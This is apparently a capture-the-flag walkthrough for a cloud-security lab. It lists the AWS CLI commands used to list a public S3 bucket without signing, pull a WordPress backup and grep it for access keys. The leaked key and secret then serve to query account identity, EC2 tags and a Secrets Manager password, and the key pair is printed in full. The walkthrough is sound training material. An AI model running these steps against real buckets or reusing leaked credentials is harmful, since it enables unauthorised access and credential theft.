[Day 17] Cloud Elf Leaks

What is the name of the S3 Bucket used to host the HR Website announcement?

- Inspect image URL
  - images.bestfestivalcompany.com

What is the message left in the flag.txt object from that bucket?

- View content of the bucket
  - `aws s3 ls s3://images.bestfestivalcompany.com --no-sign-request`
- Download flag.txt to the local machine
  - `aws s3 cp s3://images.bestfestivalcompany.com/flag.txt . --no-sign-request`
- View content of the flag.txt
  - `cat flag.txt`
- It's easy to get your elves data when you leave it so easy to find!

What other file in that bucket looks interesting to you?

- View content of the bucket
  - `aws s3 ls s3://images.bestfestivalcompany.com --no-sign-request`
- wp-backup.zip

What is the AWS Access Key ID in that file?

- Download wp-backup.zip to local machine
  - `aws s3 cp s3://images.bestfestivalcompany.com/wp-backup.zip . --no-sign-request`
- Unzip wp-backup.zip
  - `unzip wp-backup.zip`
- Search within the wp-backup folder " AKIA"
  - `grep -rn ./wp-backup -e "AKIA"`
- AKIAQI52OJVCPZXFYAOI

What is the AWS Account ID that access-key works for?

- Retrieve s3_uploads information from wp-config.php (Bucket, key, secret, region)
  - `cat wp-config.php`
- Create a profile using the KEY, SECRET, REGION.
  - `aws configure --profile HR`
  - KEY: AKIAQI52OJVCPZXFYAOI
  - REGION: us-east-1
  - SECRET: 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
- Retrieve Account ID
  - `aws sts get-access-key-info --access-key-id AKIAQI52OJVCPZXFYAOI --profile HR`
- 019181489476

What is the Username for that access-key?

- Retrieve Username from the created profile
  - `aws sts get-caller-identity --profile HR`
- ElfMcHR@bfc.com

There is an EC2 Instance in this account. Under the TAGs, what is the Name of the instance?

- Retrieve the name using the created profile
  - `aws ec2 describe-instances --output text --profil...`
- HR-Portal

What is the database password stored in Secrets Manager?

- Retrieve the secretsmanager Name under the created profile (HR)
  - `aws secretsmanager list-secrets --profile HR`
- Retrieve the secretsmanager value based on the name
  - `aws secretsmanager get-secret-value --secret-id HR-Password --profile HR`
  - HR-Passowrd
- Change the region to where Santa lives
  - `aws secretsmanager get-secret-value --secret-id HR-Password --profile hacker --region eu-north-1`
- Winter2021!